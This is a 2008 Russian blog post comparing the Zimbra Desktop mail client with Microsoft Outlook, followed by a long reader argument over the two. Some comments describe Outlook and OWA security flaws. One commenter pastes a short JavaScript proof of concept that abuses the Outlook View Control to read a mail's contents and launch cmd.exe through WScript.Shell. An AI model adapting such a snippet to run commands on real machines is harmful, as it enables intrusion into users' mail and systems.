ГлавнаяЗагрузитьКупитьМодулиШаблоныСтатьиПоддержкаНовости/ПрессаБлог

Microsoft Outlook и Zimbra – кто сильнее?

написано в рубрике: Плагины — Outlook Blogger @ Ср 30.07.2008 23:47

Не так давно компания Yahoo! Выпустила в свет очередную версию почтовика и органайзера Zimbra. Разработчики позиционируют этот продукт как замена Microsoft Outlook и Exchange Server. Не будем утверждать насколько это реально, просто попробуем поставить этот продукт и проверить, как он работает. Сам проект Zimbra состоит из нескольких частей, а вернее отдельных продуктов – клиента, сервера, WEB-клиента и клиента для мобильных устройств.

Насколько следует из информации на сайте сервер работает только под управлением UNIX подобных систем и MAC. Поэтому на Windows машину поставить его не получится. Либо нужно использовать виртуализацию (например, VMware) и устанавливать отдельную виртуальную ОС на машину с Windows. Такое положение вещей не может не огорчать, так как это является большим препятствием для распространения этого софта в маленьких компаниях, так как практически везде используются Windows сервера.

Теперь попробуем разобраться с почтовым клиентом, он называется Zimbra Desktop. Написан клиент на JAVA, вследствие чего скорость работы оставляет желать лучшего.

Интерфейс вполне обычен и понятен простому пользователю и это очень хорошо. Перевод некоторых меню осуществлен не полностью, но это абсолютно не мешает. Контакты и задачи достаточно хорошо интегрированы с почтой. На скриншоте видно, что по дате в теле письма можно посмотреть ваше расписание на этот день.

В Zimbra нет Видов (Views), которые есть в Outlook. Т.е. нельзя подсветить письма по определенным условиям и сохранять разные виды для каждой папки. Это относится не только к папкам почты, но и к календарю и задачам. Такое ограничение очень сильно расстроит пользователей Outlook при переходе на Zimbra.

В Zimbra есть встроенный спам-фильтр, что вряд ли можно считать особым преимуществом, т.к. для Outlook есть очень много отдельных бесплатных плагинов для отсеивания спама.

При настройке учетных записей почтовым системам GMail и Yahoo сделаны привилегии в виде отдельных опций. С чем это связано – не понятно, возможно для этих учетных записей есть какой-то особый функционал.

Также не было обнаружено каких-либо намеков на существование форм (Form), которые есть в Outlook. Соответственно не видно никаких встроенных языков для обработки этих форм. Хотя в меню присутствует раздел «Модули Zimlet», возможно это нужно для подключения дополнительных модулей.

Редактор писем значительно уступает редактору Microsoft Word, который встроен в Outlook 2007. Особенно это заметно при редактировании HTML писем. В Zimbra естественно нет никакой интеграции с пакетом Microsoft Office. Например, у вас не получится вставить в письмо Excel диаграмму или объект SmartArt.

По первому впечатлению клиент Zimbra содержит все основные элементы, которые есть в Outlook, но функциональность их значительно уступает последнему. Для корпоративной среды, там где очень часто применяются разного рода формы, использование Zimbra просто невозможно. Анализ директории инсталляции Zimbra говорит о том, что вся информация содержится в отдельных файлах по типу The Bat. Исходя из этого, вряд ли существует возможность удобного создания и манипулирования блоками разнородной информации, как это делает Outlook с PST файлами.

К сожалению, нет возможности проанализировать работу Zimbra в полном объеме, поэтому данный пост следует рассматривать как предположительный анализ функциональности этого ПО.

83 комментариев »

  1. Поляков @ 7 августа 2008 23:42

    Всё хорошо, только вот в мире большинство виндовозов!

  2. Поляков @ 8 августа 2008 12:51

    Очень хорошее и полезное сообщение. Спасибо автору блога за предоставленную информацию.
    Ваш сайт у меня в RSS закладках, слежу за новостями постоянно

  3. RealWorld @ 8 августа 2008 14:50

    Заочно голосую за второе, ибо питаю стойкую неприязнь к продукции Майкрософта.

  4. Оптимист @ 13 августа 2008 13:52

    Для меня очень накладно было делать виртуалку и всё такое..неужели у них такой сложный софт(((((

  5. Stich @ 15 августа 2008 14:21

    Кому как .. а мне такой интерфейс понравился больше! оутлуки не любил никогда :)
    Стоит отдать должное яху.. никаких прог ставить не надо .. всё удобно и красиво вписано в *Веб морду* … насчёт скорость жеоает лучшего не согласен.
    у меня 25Кбайт канал в интернет .. открывается почта очень шустро!

  6. Laska @ 15 августа 2008 14:26

    Без сомнения Outlook! Мощный почтовый клиент. жаль нету нескольких полезных функций как в TheBat!

  7. Олег @ 15 августа 2008 14:32

    Сколько людей столько мнений! сложно сказать кто сильнее. Мне кажется преимущество Yahoo в том что почти похожий на Outlook функционал можно получить в любом месте посредством интернет. никаких пред установленых программ не требуется

  8. кулер @ 15 августа 2008 16:42

    А я чесно говоря только Microsoft Outlook юзал!!!

  9. Руслан @ 15 августа 2008 22:00

    Outlook и баста,о чем можно здесь говорить

  10. Эдик @ 15 августа 2008 23:03

    На мой взгляд самый лучший это Outlook, от компании майкрософт!!! и даже без комментариев, ему равных нету………….
    С уважением…………

  11. Рыжик @ 16 августа 2008 2:33

    Я выбрал Зебру. хотите называйте её зимброй как и положено. но это Зебра =)
    Outlook - “тяжелый” почтовик, многофунциональный и все его хвалят. А мне хочется простоты и удобства!

  12. -=Х=- @ 16 августа 2008 20:51

    По мне Зебра лучше, проще, функциональней, с ней приятно работать!

  13. -=Х=- @ 16 августа 2008 20:53

    Хотя Outlook я не исключаю, но зебра лучше. (я пользуюсь и тем и тем)))

  14. Outlook Blogger @ 17 августа 2008 14:32

    А чего есть такого в Зебре, чего нельзя сделать в Outlook?

  15. Stich @ 17 августа 2008 23:12

    2 Outlook Blogger
    Да я думаю ничего такого нету.
    для обычного пользователя просто красивый интерфейс.
    Как я и говорил .. не любил никогда Оутлук… тем не менее считаю что он должен быть более функциональным нежели зебра, как её тут окрестили =)

  16. Wizlight3 @ 18 августа 2008 17:59

    В меру того что к Yahoo! личная не приязнь, выбраю Аутлук, но все же есть несколько недостатков которые не нравятся

  17. Акция @ 19 августа 2008 16:34

    Зимбра действительно достойная замена,я уже юзал на робочем компе!!!!!!!

  18. Нестеров @ 19 августа 2008 17:30

    Не знаю как вам, а мне очень было интересно почитать об этом!

  19. Конкурсант @ 20 августа 2008 18:18

    Ну впринципе меня просто устраивает аутбук и я нового ничего не хочу!

  20. bOom @ 21 августа 2008 15:12

    Outlook!!!

  21. Voron @ 23 августа 2008 12:36

    Конкурс,попробуй зимбу,не пожелеиш!!!!!

  22. Строительство @ 27 августа 2008 17:42

    Видел я эту Zimbra, в принципе удобно, но скорость и то что нельзя поставить на винт несказанно огорчает…

  23. Dennisko @ 30 августа 2008 11:14

    Zimbra лучше!

  24. den @ 1 сентября 2008 16:56

    по мне зимба лучше

  25. Mick @ 4 сентября 2008 18:15

    Ну…по моему Outlook лучше, он как бы стандартный что ли, просто с него начинал, вот и остаюсь им пользоваться…

  26. Свет @ 5 сентября 2008 11:36

    Лучше Всех Почтовик от Mozilla! и вобще Mozilla Firefox рулит!!! Приглашаю пообщаться на форум с Вашими любимыми женщинами:)

  27. Маляр @ 8 сентября 2008 19:23

    так как большенство отказывается от Линукса, то понятно что Аутлук впереди, так как тоже является продуктом Майкрософта.

  28. Денис @ 9 сентября 2008 13:01

    Помоемму Outlook Лучше.

  29. gaal @ 11 сентября 2008 8:53

    Намучился с аутлуком на прежней работе.

    Zimbra хорошая штука, ее функциональность растет постоянно. Сейчас 5.0.7 использую, рекомендую знакомым админам по-пробовать, спрашиваю их мнение, в универе планируют завести.

    Понравилось, что в ней jabber сервер встроен. Офигенный протокол, без всяких костылей расширение функциональности, не глючит как аська и развернуть сервак можно везде.

    Доработал, теперь может работать со сторонним LDAP. Любым, в том числе и с Active Directory. Заменить бы еще postfix на exim.

  30. gaal @ 11 сентября 2008 9:18

    >Насколько следует из информации на сайте сервер работает только под управлением UNIX подобных систем и MAC. Поэтому на Windows машину поставить его не получится.

    Это только из-за postfix:) Его реализации под вин нет.

    >Интерфейс вполне обычен и понятен простому пользователю и это очень хорошо. Перевод некоторых меню осуществлен не полностью, но это абсолютно не мешает.

    Будет. Реализовано стандартно для J2EE в виде .properties файлов. Т.е. идентификатор сообщения, само сообщение записанное в кодировке utf-8 и у файла аббревиатура: ru, en, fr, de, it и т.д..

    >При настройке учетных записей почтовым системам GMail и Yahoo сделаны привилегии в виде отдельных опций. С чем это связано – не понятно, возможно для этих учетных записей есть какой-то особый функционал.

    С тем, что зимбра разрабатывают в Yahoo:) Они приобрели эту компанию. Возможно есть соглашение с Google.

    >Хотя в меню присутствует раздел «Модули Zimlet», возможно это нужно для подключения дополнительных модулей.

    При чем любых.

    >Редактор писем значительно уступает редактору Microsoft Word, который встроен в Outlook 2007.

    Браузер пока не позволяет реализовать такую функциональность, но с другой стороны MSO есть не везде и не у всех.

    >Написан клиент на JAVA, вследствие чего скорость работы оставляет желать лучшего.

    Пока разработчики не перешли на java 1.6, которая работает быстрее и жрет меньше памяти. Сам заменил - работает шустро, только запускается долго. Зимбру можно собрать из исходников самому, но придеться повозиться. Я под CentOS сделал сборку.

    В принципе и .net работает так - медленно, еще и на одной платформе, а вот
    то уже минус для разработчика. А что еще можно ожидать от виртуальной машины?:D Точнее реализаций.

    Язык D появился, те же плюшки, что и в C,C++,Java,C#, но при этом нативно, со сборкой мусора и без всяких vm.

    На ASP.NET и J2EE сайты медленно разрабатываются. Фреймворк Pylons на Python хороший выбор.

  31. den @ 13 сентября 2008 20:10

    по мне дак лучше Microsoft Outlook

  32. blackcat @ 18 сентября 2008 14:43

    Я всегда пользовался Outlook Express - мне хватает…

  33. Движок @ 26 сентября 2008 23:12

    Э,да тут и ровнять нету чего,зимба на много ниже по рейтенгу понятно же!!

  34. vip_ip @ 28 октября 2008 16:42

    оутлук по любому хуже

  35. english_man @ 28 октября 2008 19:59

    А я вот склоняюсь к Аутлуку. Долгое время уже его юзаю и доволен этим. Попробую Zimbra Desktop, может и перейду в процессе…

  36. Геннадий @ 4 ноября 2008 19:13

    Zimbra очень симпотичный почтовик.Приятны интерфейс,удобно работать,достаточно простой в пользовании.Пожалуй выберу его!

  37. Борис @ 6 ноября 2008 2:13

    Промикрософтовская статья
    Начнем с того, что Зимбра это почтовый СЕРВЕР, а аутлук почтовая ПРОГРАММА.
    Показанный Зимбра десктоп, это только вариант работы, можно работать через имап, можно работать через pop3, ну и конечно же через браузер. При этом браузер ЖЕЛАТЕЛЬНО Firefox, потому что в Internet Explorer ява страшно тормозит.

    Зимбра сервер ставится на линукс и нет варианта под винду. Дык большинство серверных систем обычно ставится как раз на линукс, а не на винду.

    “В Zimbra нет Видов (Views)… Т.е. нельзя подсветить письма по определенным условиям” в Зимбре есть ТЭГИ, которые можно вешать на письмо вручную или автоматически через фильтр, а потом по этим тэгам отбирать.

    “В Zimbra есть встроенный спам-фильтр” - да, и стоит он на сервере, а не как плагин к почтовой программе. Спам-фильтр Spamassasin, антивирус - amavisd.

    “При настройке учетных записей почтовым системам GMail и Yahoo сделаны привилегии” - потому что Зимбра ДЕСКТОП это отдельное самостоятельное приложение, которое работает с Зимбра СЕРВЕРОМ, а так же с другими почтовыми серверами через imap. Gmail и yahoo достаточно известные почтовые системы, поэтому для них сделаны упрощенные настройки.

    “Также не было обнаружено каких-либо намеков на существование форм (Form)” - может это действительно кому-то нужно, не буду ничего говорить.

    “Редактор писем значительно уступает редактору Microsoft Word, который встроен в Outlook 2007″ - вообще-то сейчас количество народа, который сидит не на винде увеличивается, и никакого MS офиса на этих системах нет. Не знаю как приделанная диаграмма или документ будет показываться у человека, у которого нет этого замечательного офиса.

    “По первому впечатлению клиент Zimbra содержит все основные элементы, которые есть в Outlook, но функциональность их значительно уступает последнему.” - Может ли один человек в аутлуке расшарить какую-нибудь свою папку с письмами или список контактов или календарь какому-то другому человеку? А в Зимбре это можно. Есть ли в аутлуке briefcase, в котором можно хранить файлы, при этом их так же делать доступными другим людям? Есть ли в аутлуке режим “по переписке”, когда письмо-ответ собираются вместе в один блок и когда приходит очередное письмо в переписку, что весь блок “всплывает” наверх? При этом занимает одну позицию, но при желании можно развернуть переписку и увидеть все письма.

  38. Outlook Blogger @ 6 ноября 2008 11:42

    > в Зимбре есть ТЭГИ, которые можно вешать

    Так можно ли подсветить вчерашние письма зеленым цветом, к примеру? А в другой папке красным?

    > на существование форм (Form)” - может это действительно кому-то нужно

    Очень нужно.

    > Не знаю как приделанная диаграмма или документ будет показываться у человека, у которого нет этого замечательного офиса.

    В виде банальной картинки. Все посты в этот блог сделаны из Microsoft Word, вы же их видите :)

    > Может ли один человек в аутлуке расшарить какую-нибудь свою папку с письмами

    Да, на сервере Exchange без проблем. Zimbra же тоже это делает через сервер, наверно?

    > Есть ли в аутлуке режим “по переписке”

    Да, сортировка по теме переписки.

  39. Борис @ 6 ноября 2008 12:06

    >> Может ли один человек в аутлуке расшарить какую-нибудь свою папку с письмами
    >Да, на сервере Exchange без проблем. Zimbra же тоже это делает через сервер, наверно?
    И он это может сделать пользователь САМ, у него на это хватит прав? В зимбре это пользователь делает без участия админа.

    >> Есть ли в аутлуке режим “по переписке”
    >Да, сортировка по теме переписки.
    Это не сортировка! Письма из одной переписки объединяются в единый блок, при этом этот блок может участововать в сортировке наряду с обычными письмами. Нажав на треугольник можно развернуть переписку в отдельные письма.

    И вообще, честно говоря, сама статья идиотская. Сравнивать сервер и почтового клиента. Давайте сравним таким образом the Bat и MS Exchange…
    Нравится аутлук ну и цепляйте его к Зимбре по imap! И будет вам доступна вся эта хрень, которой вам так не хватает!
    При этом другие могут работать с Зимброй через браузер, через Zimbra Desktop, через Thunderbird, Bat и кучу других почтовых программ.

  40. yurash @ 6 ноября 2008 12:12

    “Все посты в этот блог сделаны из Microsoft Word, вы же их видите ”

    Извиняюсь за офтоп…
    А каким образом Вы делали посты в этот блог из MS можно поподробнее? ctrl+c - ctrl+v ?

  41. Outlook Blogger @ 6 ноября 2008 12:22

    > В зимбре это пользователь делает без участия админа.

    Тогда это большой минус Зимбры. В Exchange, если админ разрешил, то пользователь может сделать. Если не разрешил - извините.

    > Письма из одной переписки объединяются в единый блок

    Нет, такого изврата нет.

    > Сравнивать сервер и почтового клиента

    Я сравнивал клиента Зимбры с Microsoft Outlook. Сервер я даже не ставил, ибо нет у меня юникса под рукой :)

    > При этом другие могут работать с Зимброй через браузер…

    К Exchange можно тоже подключаться по любому. Правда стоит это не мало, зато проверено, серьезно и надежно.

  42. Outlook Blogger @ 6 ноября 2008 12:22

    > А каким образом Вы делали посты в этот блог из MS можно поподробнее? ctrl+c - ctrl+v ?

    В Microsoft Word 2007 есть специальная фича - постинг в блоги. Вот с помощью нее.

  43. yurash @ 6 ноября 2008 12:24

    “К Exchange можно тоже подключаться по любому. Правда стоит это не мало, зато проверено, серьезно и надежно.”

    Ааа уважаемый я так понимаю Вы имеете ввиду OWA???

  44. Борис @ 6 ноября 2008 12:37

    >> В зимбре это пользователь делает без участия админа.
    >Тогда это большой минус Зимбры. В Exchange, если админ разрешил, то пользователь может сделать. Если не разрешил - извините.
    Это дает возможность СОВМЕСТНОЙ РАБОТЫ! Пользователь создает папку и дает к ней доступ (на чтение или на чтение и измение). А теперь попробуйте подключить в аутлуке одну папку пользователя другому пользователю. Даже с админскими правами.

    >> Письма из одной переписки объединяются в единый блок
    > Нет, такого изврата нет.
    А людям нравится, что не надо лазить и искать письма по ящику, они всегда вместе!

    Если говорить про извраты, то изврат это как раз городить диаграммы, таблицы и прочее в теле письма, вместо того, чтобы послать документ файлом.

  45. Outlook Blogger @ 6 ноября 2008 12:42

    > Ааа уважаемый я так понимаю Вы имеете ввиду OWA???

    угу.

    > попробуйте подключить в аутлуке одну папку пользователя другому пользователю

    Без проблем, файл->открыть->папка другого пользователя.

    > это как раз городить диаграммы, таблицы

    Ошибаетесь. Я сам очень часто пишу пользователям, которые не знают что такое аттачи.

  46. yurash @ 6 ноября 2008 12:51

    ТОгда вопрос. OWA надежно????

    A new security issue was reported in Microsoft Outlook Web Access (OWA), which could be exploited to redirect users to a malicious Web page. The problem resides in the “owalogon.asp” script when handling the “url” variable, which may be exploited to inject malicious URLs into the form and redirect users to a fake login page.

    Надеюсь с переводом проблем не будет. И это не вдаваясь в поиск просто одна из первых ссылок в гугле.

    Дальше. А Вы вообще настраивали когда-нибудь Outlook Web Access (OWA) ?

  47. Борис @ 6 ноября 2008 12:52

    >> попробуйте подключить в аутлуке одну папку пользователя другому пользователю
    >Без проблем, файл->открыть->папка другого пользователя.
    Объясняю ЕЩЕ РАЗ - подключить одну ПАПКУ, а не всю УЧЕТКУ ЦЕЛИКОМ!
    В Зимбре я могу дать доступ только к ОДНОЙ папке и ТОЛЬКО К НЕЙ. Попробуйте сделать это в аутлуке.

  48. yurash @ 6 ноября 2008 12:56

    К стати о надежности. Скрипт говорит что-нибудь ?

    “”"”

    function f()
    {
    //alert(o2.object);
    sel=o1.object.selection;
    vv1=sel.Item(1);
    alert(”Subject=”+vv1.Subject); alert(”Body=”+vv1.Body+”[”+vv1.HTMLBody+”]”);
    alert(”May be deleted”);
    //vv1.Delete();
    vv2=vv1.Session.Application.CreateObject(”WScript.Shell”);
    alert(”Much more fun is possible”);
    vv2.Run(”C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ “);
    }
    setTimeout(”f()”,2000);
    “”"”"”

  49. Outlook Blogger @ 6 ноября 2008 13:11

    > Надеюсь с переводом проблем не будет.

    Все в мире относительно. Вы думаете у Зимбры надежнее?
    Настраивал. Мало того я сейчас в нем сижу :)

    > подключить одну ПАПКУ, а не всю УЧЕТКУ ЦЕЛИКОМ

    Не нервничай. Речь идет именно об _одной_ папке, а не обо всей учетной записи. Это может быть папка контактов, почты, календаря и тп.

  50. yurash @ 6 ноября 2008 13:15

    Ну раз Вы настраивали OWA и тем более в ней сидите. ТО может быть подскажите сирому и убогому как настраивается owa для взаимодействия с мобильными устройствами (win mobile) посредством ActiveSync ?

  51. yurash @ 6 ноября 2008 13:16

    А, да! У зимбры не в пример надежнее :)

  52. Outlook Blogger @ 6 ноября 2008 13:29

    > К стати о надежности. Скрипт говорит что-нибудь ?

    Не говорит, расшифруйте и я найду решение проблемы :)

    > owa для взаимодействия с мобильными устройствами

    А я разве еще не писал? Напишу в блоге обязательно.. Только подобной инфы в инете завались, попробуйте поискать поиском. Я давно синхронизирую свой КПК с сервером Exchange, как раз через OWA.

  53. yurash @ 6 ноября 2008 13:31

    как раз через OWA
    хм..
    Через OMA

  54. yurash @ 6 ноября 2008 13:34

    The Microsoft Outlook View Control - управление ActiveX, позволяющее просматривать почтовые папки через web-страницы. Управление должно позволять только пассивные операции типа рассмотрения почтовых или календарных данных. В действительности, тем не менее, она содержит функцию, которая позволяет web-странице управлять данными OUTLOOK. Это дает возможность нападавшему удалять почту, изменять информацию в календаре, или выполнять фактически любое другое действие в OUTLOOK, а также включить произвольный, потенциально опасный код на компьютере пользователя.

  55. Outlook Blogger @ 6 ноября 2008 13:49

    > …Управление должно позволять только пассивные операции..

    Это кто такое умное предположил?

    > Это дает возможность нападавшему удалять почту

    Как нападающий создаст ActiveX объект на стороне сервера, объясните мне, пожалуйста? А если он создает его все-таки на стороне клиента, то тогда этот объект имеет такие же привилегии как и запущенный локально Outlook. Он никак не присоединится к учетной записи не имея логин и пароль. Я вообще не понимаю в чем дырка.
    Ощущение, что текст для лохов.

  56. yurash @ 6 ноября 2008 13:54

    Это кто такое умное предположил?

    Видимо ваш любимый MIcrosoft :) Выпустив патч, о котором Вы (как я понимаю системный администратор или кто-то в это роде) ничего не знаете….
    Искат сам патч сейчас не буду ибо лень и есть дела . БУдет надо найдете сами, на microsoft он был.

  57. yurash @ 6 ноября 2008 13:57

    Ну и последнее. Как специалист Вы впечатления не производите. Учавствовать в этой дискуссии больше желания никакого нет. За сим спешу раскланяться.
    Всего Вам наилучшего. Не стоит на это отвечать так как скорее уйдет в пустоту.

  58. Outlook Blogger @ 6 ноября 2008 14:08

    > Видимо ваш любимый MIcrosoft

    Видимо кто-то другой, либо в другом контексте, т.к. Microsoft Outlook View Control я использую в формах уже давно (еще с версии XP по-меому) и там всегда была поддержка редактирования элементов (нафиг он нужен без этого вообще).

    Впрочем, какое это имеет значение? У любого софта есть дырки, кто спорит? Другое дело, что такой компонент у Зимбры появится лет через 20, да и вообще появится-ли.. :)

  59. Outlook Blogger @ 6 ноября 2008 14:11

    > Всего Вам наилучшего

    Если вы можете блистать только знанием дырок в теме о которой только читали, интересного в разговоре действительно мало. Удачи.

  60. cat666 @ 12 ноября 2008 11:48

    Что за бестолковая статья как можно сервер Zimbra + Zimbra Desktop сравнивать с почтовым клиентом Outlook или продукция мелкомягких стала настолько крута что их клиенты делают серваки и клиентские приложения остальных производителей, хлам и графоманство

  61. Матвей @ 19 ноября 2008 16:23

    Действительно! Что за люди? Слов нет))

  62. Татьяна @ 13 декабря 2008 10:18

    А мне The Bat нравится…

  63. погодомерка @ 21 декабря 2008 8:43

    Танюша, я с тобой солидарна!

  64. Нина @ 4 января 2009 0:20

    Для меня только Аутлук. Ему лишь не хватает веерной рассылки по списку, а так очень даже катит.

  65. Иван @ 5 января 2009 15:28

    Я пользовался Outlook Express - привык,удобно,мне хватает…

  66. Марианна @ 21 января 2009 12:33

    А что за Зимбра? Первый раз слышу. Может, и удобнее чем аутлук будет..

  67. Юрий @ 23 января 2009 18:48

    Совершенно бесполезная и неграмотная статья. Как можно описывать клиентскую часть не имея представления о главной части проекта Zimbra - серверной… Да и вобще сравнивать отдельные куски продуктов для коллективной работы Microsoft и Zimbra помоему тупо!

  68. Slaymoon @ 8 февраля 2009 21:36

    Ну, никто и не ожидал чуда: вряд ли продукт на скорую руку от умирающей Яху смог бы затмить Аутлук, которому уже не один год. Тем не менее, для первого блина, ИМХО, получилось вполне неплохо.

  69. egorka @ 5 апреля 2009 19:39

    Стоит на работе Zimbra сервер более 100 пользователей. Эксченьж с оутлуком нервно курят в сторонке. И самое главное все бесплатно и совесть чиста.

  70. Борис @ 6 апреля 2009 10:18

    egorka, у нас аналогично. Сейчас Зимбра вместо эксча, всего ящиков почти 400. Раньше стояло два эксча, первый рубил спам и вирусы, второй раздавал юзерам. В одном лице вообще не справлялся, но даже в двухступенчатой схеме приходилось иногда перезагружать сервер раз в 1-2 недели. Зимбра справляется в одиночку, про перезагрузки и думать забыли.

  71. Zimbra @ 22 мая 2009 13:08

    Наша компания недавно перешла на Zimbra сервер. Из 150 человек, 40 сидят в веб клиенте и очень довольны. У Zimbra сервер встроенный спам фильтр с возможностью обученияи встроенный антивирус. Для Exchange сервера все это нужно докупать (не забудте про лицензии на подключение к серверу для каждого пользователя). То что Zimbra сервер ставиться только на Linux (не Unix, автор неуч) считаю плюсом! Так как способствует распространению свободного ПО.

  72. Илья @ 24 мая 2009 0:20

    Автор жжет.
    Сначала попросим автора прицепить ящичек, а лучше несколько ящичков по паре гигов к аутлуку и быстро найти все письма содержащие в теле определенную подстроку. Ну пусть это будет название клиента вашей компании. Огласите время поиска. В зимбре это доли секунды…

    Теперь попробуем отмаркировать письмо несколькими категориями. Например отнести письмо к категориям
    - Клиенты
    - Текущие проекты
    - Запрос на поддержку.
    В Зимбре (Что сервер, что десктоп) легко. А в аутглюке как ?

  73. haba @ 5 июня 2009 11:06

    Никогда не понимал людей который сравнивают несравнимое.
    Вот вы хотите, что бы продукт от другой компании полностью подменял функционал продукта от другой компании?
    Не удивлюсь если автор в сравнении Windows vs Unix/Linux скажет, что Unix/Linux говно так как там подключение диска происходит монтирование, а не как в Windows. %)
    зы: статья ниачом.

  74. vlad77 @ 28 июня 2009 2:45

    Редактор писем значительно уступает редактору Microsoft Word, который встроен в Outlook 2007

  75. Василий @ 1 июля 2009 10:09

    Я пользовался Outlook Express - привык,удобно,мне хватает, кому-то возможно нужно что-то другое

  76. Ledov @ 1 июля 2009 16:06

    C Gmail работает безобразно. Почему?

    Потому что все ярлыки Gmail Зебра считает реальными папками и закачивает на хард, фактически дубилуя одни и теже письма. То есть, если ваш ящик Гмаил имеет размер 2Гб и вся ваша почта с помощью ярлков рассортирована еще на два ящика (например - “Личное” и “Работа”), причем письма в личной и рабочей папке не пересекаются и папка “Отправленное” пуста, то совокупный размер хранимого на харде будет - 2Гб из папки “Вся почта” + дубли из папок “Личное” и “Работа” = 4Гб. Если сохраняются отправленные письма, то совокупный размер увеливается на размер дублей еще и из этой папки.

  77. Илья @ 1 июля 2009 16:11

    Zimbra тут не при чем. Она работает с Gmail по IMAP. А вот Google в IMAP именно так раскладывает папки.
    Попробуйте настроить на Gmail любой IMAP-клиент (Outlook Express, Thunderbird и т.п.) и увидите.

    Вы можете попробовать поменять подписку на папки.
    Еще один вариант - Gmail-offline.

  78. Ledov @ 1 июля 2009 17:01

    Илья, прочие клиенты (сужу по Оутлуку) при IMAP качают только заголовки - поэтому сие не критично, если не задаться целью скачать все тела писем (как это задумано в Zimbra). Вообще, не понимаю, почему этим Zimbra’овцы не озаботились - ведь каждое письмо имеет свойства, делающие его уникальным.

    Похоже, быть мне таки с Оутлуком - сегодня буду смотреть поисковый плагин к нему. Если получу функциональность по поиску сопоставимую с Силфидой - таки куплю :)

  79. Ledov @ 1 июля 2009 17:07

    Илья, Gmail-offline - не позволяет работать с календарем и контактами. Я все-таки ищую для себя интегрированное решение на столе плюс возможность синхронизации всего этого с КПК (как мне представляется - Palm Pre (люблю Palm)), с Вэб-календарем, вэб-контактами, вэб-задачами.

  80. Илья @ 1 июля 2009 22:40

    Ledov
    Zimbra тащит всю почту потому что
    1) Изначально это оффлайновый клиент для “родного” сервера.
    2) Она индексирует все письма для быстрого поиска.

  81. Василий @ 23 января 2010 13:58

    Автор статьи слишком ленив и не компетентен чтобы провести качественный анализ. Об этом говорят явные фактологические ошибки и животный уровень аргументации.
    Товарищи блюдущие честь Зимбры - ведите себя более спокойно и уверенно. Этот продукт явный лидер по темпам развития, и является бесплатным. Либо микрософт пересмотрит свой подход к этой части бизнеса, либо будет выкинуть с ниши рынка объективными проблемами своих продуктов. И гиперактивность надутого штата торговых представителей этих проблем не решит.

  82. CYFiVE @ 18 мая 2010 6:39

    Как уже сказали до меня, автор провел некорректное сравнение, т.к. Зимбра это прежде всего сервер, так-же как и Аутлук с эксчейнджем. Я не могу сравнивать т.к. не работал с эксчейнджем, но в зимбре мне понравился прежде всего не клиент (Zimbra Desktop), а сам сервер и веб интерфейс к нему. Из функционала особенно понравился портфель, а точнее возможность работать с файлами хранящимися на сервере, и доступ из любой точки мира к ним. Возможность расшаривания папок в портфеле и коллективная работа с файлами. Ну и еще наличие open source версии :), что очень положительно сказывается при выборе продукта.

  83. Додо @ 6 августа 2010 21:18

    Зембра это скорее на любителя, куча народа на оутлуке сидит, привычки тяжело менять.

Оставить комментарий

*

Нажмите для прослушивания


Инфо


RSS лента блога
RSS лента комментариев блога
Рейтинг блогов



Плагин Potolook для Microsoft Outlook
© 2004-2011 Позитик. Все права защищены.

Microsoft®, Outlook® и эмблема Office являются охраняемыми товарными знаками корпорации Майкрософт (Microsoft Corporation) в США и/или других странах.
Копирование и использование материалов разрешается только в случае указания явной гиперссылки на сайт http://www.potolook.ru, как на источник получения информации.

Разработка сайта — "Позитик"

Рейтинг@Mail.ru